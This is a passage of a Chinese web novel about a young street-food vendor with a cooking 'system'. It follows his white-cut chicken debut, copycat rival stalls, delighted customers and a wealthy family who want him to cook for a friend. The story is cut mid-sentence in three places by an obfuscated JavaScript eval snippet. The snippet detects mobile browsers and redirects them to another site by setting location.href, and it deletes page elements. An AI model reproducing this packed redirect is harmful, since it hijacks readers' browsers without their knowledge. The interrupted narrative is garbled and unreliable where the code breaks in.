回到县里后，梵挽又去了旁边几个县。 这里没临城富饶，村子发展没临城那边的村发展得好，所以乡下的公交车班次特别少，人也少。 跑了一圈下来，有遇到真正的走地土鸡，人家是养来自己吃的，一开始不卖，后来叫价八十一斤，把梵挽给惊到了。 有一家不称重，就按照一只三百卖。 梵挽也很无奈，之后收了两只草鸡极优，一只土鸡极优，还有两只三黄鸡极优，花费了不少钱。 一整天下来，梵挽是精疲力竭。 本来打算住在镇上，但跑了一天山上乡下，梵挽没带驱蚊水，脚上全是蚊子包，一颗颗痒得发烫也下不去，他有些难受，索性买了连夜的动车票，大半夜十一点多背个包终于回到了自己熟悉的房间。 他一整个瘫了下来。 累死他了。 今天一天全在和人沟通，商量，能量全部耗尽。 洗了个澡，然后涂了点药膏。这次连那个宋陶瓷都没习惯性摸一摸，直接关灯倒头就睡。 一夜天明。 梵挽现在这个生物钟很准时，到点就醒。 新的一天，开始了。 昨晚疲惫的心情褪去，梵挽又开始期待今天他的食客吃到他的东西后，脸上露出的那种幸福表情了。 14.新品白切鸡上架 第二天一大早先去了菜市场，又去了各大超市跑了一圈，零零散散买了不少东西后，梵挽就发现时间已经到十点多了。 他本来打算中午出摊的，但算了下时间，发现这点时间距离他准备的新菜时间有些不够。 想了想，索性中午就不去了。 “系统，我这生意虽然好，但是前期买的食材还有调料都要最好的，里外里亏了不少钱。” 梵挽算过，目前为止他差不多一直在倒贴。 幸好他大学花费很少，手头因为一些特殊原因，目前还有个五六万的存款，不然不一定顶得住。 系统不言。 其实理论上，小摊炒菜炒饭类生意，很多人不会投入这么大成本，已经不划算了。 想到这儿，梵挽无奈笑了笑，美食系统不愿意出劣质餐品，最次也要到优或者极良以上。 还好他也不是真心实意地在抱怨，现在让梵挽随便糊弄一下食客，他也不愿意。大概是受到系统的影响，梵挽也想尽可能做到尽善尽美。 “钱反正能赚的，无外乎就是早赚晚赚的问题。”梵挽自娱自乐，然后对系统笑道：“来来，现在来处理食材。” 五花肉、香菇等食材照旧提前准备。等到了下午，算准了时间，梵挽也先让系统拿出四只鸡给他。 很快，真空袋子里面的四只鸡整整齐齐出现在案板上。 他掂量了一下，然后打开袋子看了一下鸡肉，这鸡就和刚刚宰杀时一模一样。鸡皮薄，脂肪少而黄，肉色略微偏红，不是那种笼养出来的白色。在按压一下肚子处的切口，鸡肉结实有弹性，已经是相当不错的鸡肉了。 梵挽把那只评价极优的单独拿出，然后几只开始处理起来。 除开香菇滑鸡饭，梵挽还打算做的一个新菜品很简单但也很难，那就是白切鸡饭。 白切鸡在南方菜系中很常见，不少区域都有这道菜。 有的人不爱吃，觉得它味道寡淡不入味，也有的人纯粹觉得白切鸡的鸡肉太柴。但这两种，往往都是蘸料不好或者煮的时机不对。也有的人觉得鸡肉太绵软，这种就是鸡肉的品质不好，属于巧妇难为无米之炊。 根据梵挽的需求，系统已经给出了制作白切鸡的详细菜谱。 这点就是系统的优秀，它的菜谱会根据现有的食材、制作工具等等做出实时调整，别提多方便了。 第一步，先要把鸡全部洗干净，然后在清水中下锅，再以此放入葱段、姜片、轻微盐等物品。 梵挽用了两个大锅煮，那只极优鸡额外单独。因为它只有一只，那么往里面放的葱段这些数量也不一样。 这个小火慢慢熬煮，人还要时刻看着翻面，使鸡肉的受热均匀。这个还是跑山鸡，不比笼养饲料鸡的松散肉质，所以煮的时间很长。 梵挽根据系统的提示，反复调节火的大小，这实在是个耐心活，火大了肉柴火小了煮不透。 一直到下午两点多，鸡煮得差不多以后就立刻关火。但这时候不要立刻拿出来，而是再用余温焖十分钟。 这一步很关键，有助于增加鸡肉的滑嫩口感。 十分钟后，梵挽火速捞出鸡肉，然后直接过冰水。这样的话，鸡皮会更加Q弹，鸡肉口感也更加鲜嫩多汁。 鸡肉备用后，梵挽就利索准备起了白切鸡蘸料。 系统那儿其实有很多种白切鸡的蘸料配方，有偏向微酸一点的、浓香口感的、椒麻香辣口感的...不一而足。 但考虑到临城这儿的人大多不嗜辣，口味也偏向清淡，所以经过讨价还价后，系统给了名为热油三味的蘸料配方。 生姜、葱花都提前洗干净，再是把刚刚熬鸡的鸡汤拿出稍许备用，全都一份份打包好。 看了看时间，梵挽发现差不多快四点了。 他打算提前去，毕竟中午没去，他还有点不好意思。 这回东西有点多，一趟趟往楼下搬的时候就被在家休息的郑慧和孙大尚注意到了，俩人还帮忙搬了几趟。 “小碗，回来了啊。”孙大尚给他把铁盆装着的热气腾腾的大米饭在餐车底下放好，说话的时候，神色有些不对劲。 梵挽没怎么注意。 梵挽到了谢后，骑着餐车就出发。前面摆摊的地方就不远，小十分钟，梵挽就看到了拐个弯后街口那儿的人流。 再往前走，梵挽就发现了不对劲。 因为他发现人还是一如既往地多，但是摆摊的人几乎大变样了。 原来这边摆摊，卖肠粉的、卖凉鞋、袜子还有几个女孩卖饰品的都有。结果远远一打眼，梵挽就发现了好多在卖盖饭的。 他车开过来，倒是马上有熟客认识他就跑了过来，“饭碗老板！！你可来了，我们都以为你不来了！” “老板老板，你中午没来，我都以为你不来摆摊了。” “就是，我晚上过来碰碰运气，没想到真的碰到你了。” 梵挽一眼看到好几个熟人。 可能是他中午没来，不少人都在担心他是不是不摆了，所以大家伙也没给他占位置。 现在最靠近拐弯口位置最好的地方，都被别的餐车摆得满满当当，也没他的位置。 梵挽赶紧喊：“大家别急，我车得往里开。” 餐车越往里面，那肯定位置是越不好，不过现在梵挽倒无所谓。 他小心翼翼往里挪，梵挽就发现了不对劲。堵在外面的那些餐车或者摊位，一个个看他的眼神很微妙，看起来并不想给他挪位置。 梵挽心里就有点明白了。 这里现在客流量大，如果他不在，很多人本着来都来了，那就买一份试试。有些新客来，也分不清哪个是他，也会乱买。 现在他来了，就算不认识梵挽的新客，也会被趋之若鹜的老客带去他那儿，他们生意量就暴跌了，肯定不舒服。 梵挽也不太开心了，大家凭本事赚钱，搞这种小心眼。 他硬是把车挪到了第一个晚上摆摊的地方，然后就注意到这里摆摊多了很多之前没见过的生人。 卖饰品的女生还有凉鞋的中年女人全都不见了，她们常见的位置上是几个中年男人的炒摊。不用想都知道，无外乎是先把看起来好欺负的给挤掉了。 更让梵挽觉得不怎么高兴的是有两个小年轻，竟然把餐车布置得和他一模一样。他怎么放的摆设对面也怎么放的，也和他一样戴了口罩，甚至弄了块小黑板放在前面，写着饭碗老板开张，盖饭现价八折。 餐车前面放了一个手机，应该是在直播。 然后又雇了十来个人，在附近吵吵嚷嚷的喊价买餐，大概主要赚的是线上流量的打赏钱。 梵挽一下就明白了刚刚孙大尚为什么脸色一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16014096|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言难尽。 他和郑慧之前就打听过梵挽在哪里摆摊，估计这两天也来这里看过，看到这里的景象了。刚刚说也不好和他直说，只能一脸神情莫名。 “老板老板，别理他们，快快，我一天没吃老板你这一口了，这给我抓心挠肝的难受。” 梵挽一摆好，一堆食客就跑了过来。 当前的是一个老食客了，这会儿一边安慰梵挽一边开口，“一份回锅肉现场吃，一份番茄鸡蛋饭打包带走。” 梵挽马上起锅烧油，顺带喊：“今天番茄鸡蛋就十份，多得没有了。另外今天有新产品，是白切鸡饭。这都是我从周六从乡下淘来的正宗跑山鸡，我按品质区分了一下。一种是三十八一份，大概就二十份，另外一种是六十八一份，六份左右。 大家要是有需要的话，可以尝尝。另外香菇滑鸡饭做了口味调整，但价格不变，大家也可以试试。” 这个价格梵挽算过，其实真的没赚多少。 这四只鸡，买来的价格已经八百多了。 但按照他的卖法，其实白切鸡就赚了一千多，他还有各种调料钱没算，再便宜实在不行了。不过他额外取下了鸡腿用作香菇滑鸡饭的食材，这里倒是可以赚一部分。 六十八一份，很多食客就觉得有点贵了。 不过老食客相信梵挽的能力，也有些新食客是想着我特意来的，好吃难吃的吃一次不过分，大不了难吃不来了。 前面第一个食客这会儿就立刻改口，“老板老板，那我番茄鸡蛋不要了，给我一份三十八的白切鸡打包。” 梵挽马上说好。 这边两份才刚出餐，梵挽就听到了上帝之狼的消息。 他雇了人在这边排队，听到消息直接就来了，当初给了人五百后就占了给他排队人的位置。 “饭碗老板，听说有新菜是不是？？来来，给我两份白切鸡打包！” 他把这里东西好吃的事都告诉他爸妈了。 今天他爸妈难得有空过来看看他，他可是刚刚从阖家欢乐的家庭聚会中跑出来的，“我一会儿给我爸妈尝尝！” 梵挽看了他一眼。 这白切鸡都还没吃呢，就敢卖好推荐给别人吃，他倒是信任自己。 梵挽以为很多人都会觉得贵，没想到前面排队的人都挺舍得，都让后面的食客抱怨起来了。 “大家行行好，别点两份啦，给我们留一份吧。” “就是就是，下次我排前面，我也就买一份。” “呜呜呜求求求大家了，我这人挑食，饭碗老板一天不在，我已经饿了一天了。” “不是我说，我家里有嗷嗷待哺的孩子，就等着这口饭呢。” 后面的人七嘴八舌，轮到安乐心的时候，她犹豫了下开口，“老板，六十八的白切鸡一份，香菇鸡腿饭一份。” 梵挽一看，也是熟人，不过今天她男朋友不在。结果说曹操曹操到，她这儿刚出餐，她男朋友就满头大汗地提着果茶跑了过来。 “心心，我来了。”她男朋友立马接过东西，“谗死我了，就是饭碗老板的这口饭最合我心意。” 他俩小年轻，本身就很少自己做饭，基本是外卖。 要不是中午要上班，晚上梵挽这儿太难排队，他们天天在这里吃。今天总算是排到了，迫不及待地就到旁边的便利店坐下就吃。 15.鸡肉香而不柴，极好吃 安乐心最先打开的就是那份白切鸡，一边掰筷子一边和男朋友杨鸿说话：“饭碗老板上了新品，就是这个白切鸡，我买了最贵六十八一份的。” “有点小贵，看看味道怎么样。”杨鸿麻溜的把两杯果茶拿出来摆好，脸上倒没多少嫌弃贵的表情。 他和安乐心的收入不算低，往常两个人晚上在家也经常一起叫烧烤或者麻辣小龙虾什么当晚餐，吃得不便宜。 这会儿，装着白切鸡的外卖盒已经打开。 这白切鸡还没吃呢，安乐心和杨鸿就闻到了一阵隐约的鸡肉油香，但这香味又不腻，其中带着几分酱香、葱香。还没开始吃，杨鸿下意识就吞咽了下口水。 “不是我说，这好香啊。” 白切鸡属于家常菜，外面餐馆也很多，杨鸿和安乐心都吃过不少次，但第一次才闻到这种味道就胃口大开的。 “是啊。”安乐心应了声。 刚刚梵挽淋上热油酱汁的时候，她就嗅到一阵香气。但排队人多，气味混杂，没有现在更明显。 “等等，我先拍个照。” 这一盘的白切鸡卖相也好看，关键是饭碗老板的午餐、晚餐都太难抢了。明明是他和安乐心最先发现的饭碗老板这个沧海遗珠，现在只能望着人海兴叹。 所以先拍个照，纪念一下自己抢到的来之不易的晚餐。 回头在公司吃着难吃的外卖的时候，也能看看照片，对着图片吃饭，胃口还好一点。 安乐心白了他一眼，不过她喜欢杨鸿就是因为很多时候，杨鸿的性格有点逗。 杨鸿拍照的时候，安乐心也承认这一盘六十八的白切鸡确实漂亮。 首先是刀工，她看得出来，这里面的白切鸡切得不薄不厚，肉和骨头十分均匀。她之前去餐馆里面吃，那些厨师有时候太忙，有几块都切得特别大。 这一份厚薄均匀就算了，关键白切鸡的鸡皮也被煮的微微带着一点油润的黄色，上面又覆盖了一点刚刚浇下去的酱汁，卖相真的不错。 “好了好了，快吃啦。” 安乐心是忍不住了，杨鸿一放下手机，她直接夹了一块送到嘴里。 “呜呜呜。”安乐心直接夸张呜咽着一整块往嘴里塞，“我去，太好吃了！！！” 是真的好吃。 她吃鸡肉其实从来不吃皮，也是因为无论是外卖的白切鸡也好，还是一些连锁餐点的白切鸡也好。怎么说呢，现在很多都用预制菜了，就算不是的那些，因为走的也是大众价格，鸡的材料方面不可能去特意挑的极优跑山鸡，所以那些鸡皮大多过于肥厚油腻。 这些饲料鸡，要是用白切鸡的手法蒸煮，鸡皮基本会变成绵软的搭在鸡肉上，食客大都是筷子一夹就丢在旁边。 但这个白切鸡却不一样。 鸡皮很薄，虽然有点也有点脂肪，但已经在蒸煮的时候被熬出，刚刚热油酱汁一激发，整个香味都刚好被锁在了上面。 入口后，外面的鸡皮有些Q弹，再之后是里面混杂了鸡汤香味的鸡肉。这鸡肉也不和安乐心之前吃过的白切鸡一样，鸡肉过于松散，要是吃到鸡胸肉那边，更是大块大块的白色绵软又有点干柴寡淡的肉，让人吃得没胃口。 可这个白切鸡的肉一点也不柴，但同时也没那么软烂。里面的料汁香味裹进去了不少，安乐心觉得嘴里的鸡肉越咀越香。 一口吃完。 白切鸡酱料带着一点微微的咸香。 她又赶紧送去了一口饭，没想到米饭的清香刚好冲淡那点咸香，就该这么搭配着吃。 杨鸿也赶紧吃了一块，然后和安乐心一样，根本就停不下来了。 下面的酱汁混杂了一点鸡汤，甚至稍微拌在饭里都很香。 安乐心打的饭可不算少，晚上她正儿八经吃碳水比较少，结果一大碗饭，也和杨鸿两个人吃得干干净净。 甚至杨鸿还又去弄了一点饭，然后直接倒在了白切鸡那个一次性快餐盒里面。拌了几下，直接呼啦呼啦扒进了嘴里。 一大碗饭吃完，杨鸿才打着嗝儿擦着油嘴，一脸满足，“这也太好吃了，鸡肉好吃，那个酱汁也好吃。碗饭老板专门出这种酱料包，我感觉都能发财。” 安乐心也是摸着肚子，然后咕噜咕噜喝着果茶，一脸满足。 那个白切鸡的鸡骨头都好香，她刚刚都忍不住嗦了几口，实在是吃得过瘾。 “唉，要是能再来一份就好了。” 安乐心有点后悔，早知道刚才她就厚着脸皮要两份白切鸡饭了。 这会儿吃完，她揉着胃捅了捅杨鸿，“你说六十八一份的白切鸡，会不会有人嫌弃贵没买完？” 杨鸿一听就知道她在想什么，顿时叹息道：“别想了，我刚刚去加饭的时候，饭碗老板就在喊，说是六十八一份的白切鸡卖完了，让太后面的人不用排了。” 听她俩嘀咕，旁边就有也在吃饭的食客可惜道：“这么好吃啊？我没买到，就买到了香菇滑鸡饭。” “不过这个香菇滑鸡饭也好吃，比我第一次吃要好。里面的香菇软糯，一口下去，汤汁饱满。关键是里面用的鸡肉，更劲道，口感是真不错，你们下次也可以试试。” 这便利店是有两排长桌，本来是给来便利店买泡面或者其他什么东西吃的食客用的。梵挽来了之后，这时候都会被梵挽那边的食客占满了。 但便利店是品牌连锁，也不会往外推拒客人。 再说这些人来了，也不白坐，基本会买瓶水买包烟，甚至还有买便利店刮刮乐的。有人流量，就是会有一定消费，那就更是睁一只眼闭一只眼了。 这会儿，搭话的人就坐在杨鸿的旁边。 杨鸿一乐，拍了一下手边打包的餐盒，“买了，一会儿要么带回去当夜宵。要么我要放冰箱，明天当午饭。” 搭话的人给杨鸿竖了大拇指。 又回忆起刚刚他看到的那份白切鸡，也是咽了咽口水。 本来六十八一份他是觉得有点贵的，但想想也不是吃不起。这么好吃，高低他明天要买一份试试看。 而在外面，梵挽已经开始喊：“大家别排了，没了，真的没了，一丁点儿都没了。” 岳华的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16024028|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 测评是一个引子。 但之后，梵挽的食物好吃是有口皆碑的，人传人的情况下，一直都不断有新的食客加入进来。加上他每次都卖得不多，产生了一点点饥饿营销的味道。 这回更是一天没半没来。 那更别说了，他今天一来，可算是把人给引爆了。 他现在一说卖完了，还是很多人往餐车跟前挤。大家又都喜欢看热闹，路过的人群也是不断围上来，不知道的以为把明星堵在里面了。 这么大流量和热闹，很多人是直接现场录起了自己的吃播视频。 梵挽这会儿只能摸了摸口罩，确认它完整戴在脸上才松了口气。 “各位各位，感谢大家能来，但今天真的卖完了。大家堵在这里不好，影响别人进出了。” 梵挽一边确保火关了，一边收拾锅碗瓢盆，“也麻烦大家，吃过的一次性饭盒不要随便乱扔，这附近都有垃圾桶的。” 看梵挽要走，就有人喊：“老板，你的白切鸡一绝。我有个饭店，你来给我做厨师，月薪三万做不做？” 梵挽赶紧摆手，“别别，大家让一让，我得走了。” 食客喊得七嘴八舌，现场有点乱了起来。 梵挽没办法，一直说明天还来，好说歹说安抚着人群把餐车一点点挪了出去。 等出了路口，他一骑上去就跑。 后面食客也不好追，只能看着他离开。 而外面的其他摊位，大部分都庆幸梵挽还好走了。他们最怕就是梵挽以后无限量供应盖饭什么的，那他们就没什么生意可做了。 还好他和之前打听的一样，卖的份数不多卖完就走。 最大的竞争对手一走，不少摊主就吆喝了起来，“盖饭！回锅肉盖饭！” 那两个和梵挽的餐车弄得一模一样的小年轻更是直接，“回锅肉盖饭、番茄鸡蛋盖饭、香菇滑鸡饭盖饭，碗饭老板的盖饭！” 各种抢生意的吆喝中，倒是卖提拉米苏的那个男生看了眼直播间的人数，悄悄松了口气。 他现在认为梵挽是他的福星了。 之前就是无意识直播了梵挽，他直播间人数当时是突破一千的，那天也让他赚到了有史以来最多的一次打赏。 后来他一直悄悄把摄像头对准梵挽的方向，他直播间的人数就维持在五六百。已经不算少了，这么多人，好的时候，他估算一下，一个月恐怕有两三万的打赏。 不过他也认为是相辅相成。 他这边悄悄直播，也有好多人觉得梵挽的食客吃得好夸张，说要来打假，总体也算是给梵挽吸引了不少客人。 但前两天梵挽不在，好家伙，他直播间人数骤减。 这快钱他还没赚够呢，万幸梵挽回来了。 梵挽是不知道那边的弯弯绕绕，他是抓紧往前骑，一直到确认没人后，才猛地松口气摘掉了口罩。 刚刚人真的太多了。 而在另外一边，上帝之狼已经高兴把两份打包的白切鸡饭放在了餐桌上。 “爸妈，来来，我特意抢回来的，试试。” 16.请他帮忙做道菜 “你这急匆匆地跑出去，又和风火轮一样跑回来，就为了买这两份外卖？”说话的是上帝之狼陈家业的母亲薛羽茗，她出身书香门第，所以说话做事上很有一股书卷气。 上帝之狼是很混，乱花钱，但本性不坏。 所以听到薛羽茗略带几分责怪的声音，顿时讨好了起来，“哎呀，妈，别骂我了，我最近爱上了这个老板的饭菜啊，真的很好吃。妈你看，我还弄了一个超大的粉丝群，加进来的人现在都有两百多个了。” 薛羽茗侧过身看了一眼。 上帝之狼给这个群名取的是皇家饭桶联盟，聊天界面里面，这会儿在不断冒出各种信息。 大多是发美食图片，还有人在问吃什么，有什么推荐好吃的，然后马上就有人艾特回他。 “妈，你看到了吧，这个群的活跃度很高，最初都是饭碗老板的食客。我给大家加了个群，平时好多人都会去抢饭碗老板做的饭菜，抢到了大家就在群里分享，还有写各种评价的。” 至于抢不到的，也会有人根据吃过的美食彼此分享分享。 上帝之狼还会定点发发红包，红包金额又都很大，所以这个群是真的很热闹。 某方面来说，这也算是一种对梵挽的粉丝运营。上帝之狼当初给自己看重的女团播粉丝群运营，这一下都有点下意识习惯了。 薛羽茗叹了口气。 “你就用这些证明，一个小餐车的老板值得你耗费这么多时间？” 算了，幸好还有女儿这个优秀的继承人。 这几年上帝之狼真的是钓鱼、撒钱、养狗...就没个正经事做。 一想到这个，果然上帝之狼养的那只哈士奇已经开始在她旁边扒拉她脚上的鞋子，看得上帝之狼眉心一跳，立马把哈士奇拖进了他专门准备的狗房。 “好吃嘛。”上帝之狼回来之后，又小心翼翼看他爸爸陈敬端。 他们两夫妻都是老一辈那种人，身上有点儒商的味道，上帝之狼觉得他们太一本正经了，和他性格不搭。 陈敬端喝了口茶，慢慢放下了茶杯。 上次过来的时候，他专门给自己儿子准备了一套茶具，什么茶杯、茶桌、茶叶、茶宠都一应俱全，还专门请了个老师给他。倒不是别的，是希望上帝之狼学着泡茶、喝茶，稳稳他的性子。 谁知道大半年了，他一来一摸茶叶罐，就发现原封不动。茶桌倒是没起灰，这应该是保姆打扫的功劳。 “算了。” 陈敬端也和薛羽茗一样，感叹家里还好有一个出息的。 “那就一起吃吧，你说的这个白切鸡是吧。” 陈敬端也早明白了，家里的孩子刚好一个打拼，一个就让他们享受天伦之乐好了，糊涂点就糊涂点，也好。 上帝之狼悄悄松了口气，立马开始拆袋子，一边拆一边介绍梵挽的事迹。 “爸，妈，这个老板真的有点不一样。我这人做事虽然不怎么样，比不上我姐。但是我好歹也跟在你们身边这么多年了，见了不少人。这个老板看着年轻，但他身上有一种很独特气质，就和爸爸妈妈你们一样。” 上帝之狼沉默了下，然后开口，“怎么说呢，就好像他很坚定...明明是个摆摊开个小餐车的人，但就是给我一种内心很笃定他一定会成功一样。不是自负，是真的自信那种。” “是吗？”陈敬端随口应了句。 上帝之狼知道他爸不相信他，他也无所谓，所以这会儿更多是在开盖子，“还热着，我可对这个老板很有信心的。” 盖子一打开，薛羽茗和陈敬端都先嗅闻到了一缕微末的鸡肉和葱油的混合香，其中又夹杂了一点咸香，竟然一下就让他们分泌起了口水。 有点东西。 陈敬端和薛羽茗都不好吃，但身家在那边，注定什么名贵的没吃过，但一道家常小餐车出来的东西就有这种香味，可见老板确实有两分本事。 “这个鸡肉也好看，食材应该不差。” 薛羽茗实事求是。 快餐打包盒用的是塑料，这会儿里面的鸡肉切得厚薄均匀，被摆成了椭圆形。黄色看起来筋道的鸡皮上，一层酱汁浇过后，上面沾染了一点咸香的酱料再混杂一些葱花，看的人胃口更好了。 陈敬端想到了什么，忽然抓紧拆了一次性筷子夹起了一块送入口中。 率先感受到的是鸡皮，本来很多人都是不吃的。但他入口的这块，不吃反而少了几分味道。 恰恰相反，这鸡皮薄而紧致，吃起来一点也不腻，然后再品尝到的是下面略微紧实的肉。肉不干也不软，里面刚好吸入三分鸡汤，又浸染酱汁的咸香，越嚼感觉越好吃。 上帝之狼一脸期待地看着陈敬端，看他一直嚼着也不说话，实在憋不住了开口，“爸，你说句话啊？行不行？” 真不说话，他也发怵，这白切鸡谁叫他也是第一次买。 陈敬端哼了声，还是不说。 但他继续下筷子，还拿过陈敬端打包的一份饭，自己用筷子舀起一口后送到嘴里。最开始还吃得慢，到后面竟然慢慢加快了速度。 行动说明一切。 上帝之狼看了看他爸，又看了看他妈，忽然拿起一次性筷子，也猛地夹了一口送到嘴里，然后就是眼睛一亮。 “我去！老板是真有点东西！” 好吃，是真的好吃。 上帝之狼之前没专门找过什么美食来品鉴，他向来随性的大脑之中就只有我现在此刻吃到的东西，它究竟是好吃还是难吃。 对这个白切鸡的评价，他现在就是好吃，太牛掰的好吃。 陈敬端一下就发现上帝之狼是真不客气，一夹就夹两块，这鸡肉一共就这么点，又不多。 他暗中不动声色夹了几块好的放到薛羽茗碗中，然后自己又开始吃。过了会儿，上帝之狼才发现没了？竟然吃没了？ 他看了看自己爸，又看了看自己妈，一脸无奈。 实话说，他还没吃过瘾。 他这个年纪，刚好是牙口壮实最能吃的时候，遇到好吃的恨不得炫的肚子撑死为止。 现在倒好，吃得半饱不饱，嘴里没滋没味的。 陈敬端递给了薛羽茗一杯茶水，两人轻轻漱口后才慢慢吐了口气。 确实味道不错。 他们年纪大了，这些年胃口一直一般。尤其是现在天热，薛羽茗这段时间胃口不好，没想到今天能吃这么多。 一大碗的白米饭，她吃掉了二分之一。 “真没想到。”薛羽茗擦了擦嘴角，也有些惊讶。 这几天晚上她都没吃什么东西，实在是没多大胃口。今天要不是白切鸡吃完了，她搞不好还能再吃一点饭。 上帝之狼又舒坦又难受。 舒坦在于他爸妈也被美食打脸，难受在于他真的还想吃啊！！ “是吧？我就说好吃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16029654|178049||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，这个老板真的有东西。他的回锅肉饭也好吃，可惜他每天就做这么点，食材卖完就不做了，所以规定一人最多外带两份，不然我一定也把回锅肉饭也打包回来给你们尝尝。” 陈敬端若有所思，“手艺确实不错，不如你投资让他开两个店好了。” 小餐馆也没多少钱的。 选个马路边或者居民区附近的地段，店铺不用太大，简单装修一下搞个土菜馆，一个招牌菜，其他的家常菜，外加几个服务员，前期投一百多万就够了。 对他们来说，不算什么。 之前薛羽茗的堂妹去旅游，在一个小餐馆吃到了一道酸菜鱼就觉得特别好吃，就问谁做的。 后来见了厨师后，就问他要不要自己开店，她来投资，对方就技术入股。别的她来支付，来处理，盈利之后按照事前签好的合同给她一定分红就好。 厨师当场被她挖走。 后来一口气开了两家专门的酸菜鱼馆，这个厨师直接自己变老板，管理她也没过问。不过最后一家店倒闭了，选的地段不行，客流量不够，另外一家现在都开着，生意还不错。 做生意么，大生意要做，小生意看到了合适的，随手投一下也无所谓，万一是个后路呢。 上帝之狼摇摇头，“我说了，老板拒绝了。” 要是别的人，上帝之狼就会开个价吸引一下别人。 但他刚刚和陈敬端说的是真的，他就感觉梵挽这人有很自在的那种自信，他说不同意就不同意，不会被价码吸引。 陈敬端沉思了会儿，然后开口“现在的年轻人，一个个也和我们那时候不同了，骨子里有傲气，主意也多。” “不愿意就算了，不过么......”陈敬端想着这个白切鸡的出色，开口道：“这次来临城倒不是专门来看你的，主要是来见一个朋友。” “他祖籍是粤城，年少的时候，在粤城住过几年，前些年心脏不好，所以退休下来定居在临城。” 上帝之狼认真了起来。 他爸说得这么认真，那说明这个朋友不简单。 “他这人最好一口这个白切鸡，说是小时候穷，他祖母在他生病的时候偷偷做给他吃，此后这道菜就一直让他念念不忘。” 之前陈敬端宴请过他几次，次次都请了粤城大厨，各色粤城菜琳琅满目，白切鸡更是重中之重。 每次对方也都夸赞不已。 但陈敬端听人说话，看人做事，心里立马明白得清清楚楚。 好吃，味道不错。 但不是自己要的味道。 薛羽茗笑道：“家业，能请这个老板来做这道菜吗？” 别的菜倒是不用他，他们专门请了不少粤城大厨。 “你不用有压力，其实我和你爸猜测，他一直觉得没小时候的味道，这个就像是朱元璋的珍珠翡翠白玉汤。” 上帝之狼马上明白了。 这位朋友小时候吃的白切鸡可能味道还没现在的好，但小时候条件艰苦，缺衣少食，所以吃什么都好吃。 长大后，位高权重了，有些东西也就被自动美化了。 “现在无论怎么做这道白切鸡，大概是都比不上他记忆中的那道白切鸡的。我们主要是希望这道菜每次多少都有一些新的不同...算是我们的心意。” 听薛羽茗这么说，上帝之狼才松了口气，试探道：“那我试试，我明天去找老板说说看。” 17.总得比黄牛赚的多吧 梵挽回到小院子的时候，就看到郑慧的女儿还有二楼罗晴的儿子都在跳绳，几个小孩年纪差不多大，所以要求跳绳的规定也差不多。 看梵挽叮铃咣啷的停餐车，郑慧立马上来帮他推一下。 “小碗，卖得怎么样？”她才问，就发现那些餐盆全是空的，立马就知道生意还是一如既往的好，“看我都多问了，果然只要有技术哪里都吃得开。” 那条街上摆摊的事梵挽没瞒她，所以她也去看过了。 晚上摆摊的人是多，这几天她不是没动过心思。昨天看到那里好多人在抢占位置，一条路全是卖盖饭，她就心又凉了半截。 摆摊就是这样。 当初她卖火鸡面和烤肠，因为学校门口生意不行就去了地铁那儿。刚开始生意还行，结果后来卖这两样的人越来越多，那个地铁口挤满了四五家。 这么多人，当然会把城管给引过来，结果就是他们所有人都不让在地铁口摆。 为了躲城管，老是挪来挪去，一天下来，心累得很，生意又被分流，加上还有刮风下雨去不了的时间，实在是不划算了。 本来以为梵挽今天去也这样，没想到他还是卖得空空如也。 这说明食客认他，更说明他的盖饭是真有点东西。 郑慧一边夸梵挽，一边招呼老公孙大尚来帮忙。 而另一边，韩花花看到了赶紧笑道：“今天难得赵冲在家，我让他也来帮帮忙。” 赵冲是做销售的，眼力见好得很。 韩花花楼下一叫他，他直接从二楼出来就接过了梵挽上楼搬上去的东西，“我帮你我帮你。” 有郑慧两口子还有赵冲帮忙，梵挽那些锅碗瓢盆自己都没怎么沾手，一趟竟然就被搬得干干净净。 等看到赵冲回来后，韩花花轻声道：“我看小碗的生意好，楼下郑慧俩口子应该也是打的这个主意，让小碗教教他们，所以你看他们两口子现在热情的。” 以前大家也邻里邻居租在一起，一直关系还可以，但也没这么热切。 韩花花一眼就看出郑慧想的什么，关键是这生意她也看上了。 赵冲比较实际，直接开口，“我看小碗人不错，不如找个时间找他吃顿饭。我们拿点钱当学费，让他教我得了。到时候和他说，我们不摆这边，不会和他竞争，这样行不行？” 罗晴想想也是这个理，于是开口，“拿多少合适？” 给个四五千么，有点砢碜人。一两万么，多少有点舍不得。 再说这种小摊生意，就怕不保险啊。到时候还要买餐车、食材，这一口气三四万下去，亏了怎么办。 这倒是为难上了，两夫妻嘀咕着打算再商量商量。 而梵挽这会儿已经把餐具都洗刷完了，拍了拍宋陶瓷后，他就一脸舒服地躺在了床上。 他还是想明天的事。 